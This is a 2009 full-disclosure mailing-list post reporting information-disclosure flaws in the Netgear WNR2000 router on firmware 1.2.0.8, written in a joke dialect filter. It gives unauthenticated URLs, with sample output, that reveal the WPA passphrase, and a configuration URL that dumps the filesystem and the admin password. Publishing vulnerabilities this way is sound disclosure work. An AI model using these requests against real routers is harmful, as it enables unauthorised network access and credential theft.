full-disclosure - Information disclosure on Netgear WNR2000

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Date: Tue, 18 Aug 2009 13:27:41 -0600
From: Jean Trolleur <sigtstp@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Information disclosure on Netgear WNR2000

Dere is several mino' vulnerabilities on de Netgear WNR2000 wireless
routa' runnin' firmware 1.2.0.8.

1. Unaudenticated disclosho' man uh WPA/WPA2 passwo'd, dig dis: Simply
request widout audenticashun:

http://netgear/router-info.htm
http://netgear/cgi-bin/router-info.htm

De routa' gots'ta respond wid:

DeviceID:WNR2000;
HardwareVersion:;
FirmwareVersion:V1.2.0.8NA;
WLAN-Security:SecurityMode=WPA-PSK-Mixed;WPAPassPhrase=omfgwtfwtfwtf

2. Unaudenticated disclosho' man uh administrato' passwo'd Simply
request widout audenticashun:

http://netgear/cgi-bin/NETGEAR_WNR2000.cfg

Skip de fust 128 bytes and ya' gots some tar dump uh de stashsystem.
WORD! Reverse engineerin' de weak admin passwo'd audenticashun scheme
be left as an 'esercise t'de eyeballer. Ah be baaad...

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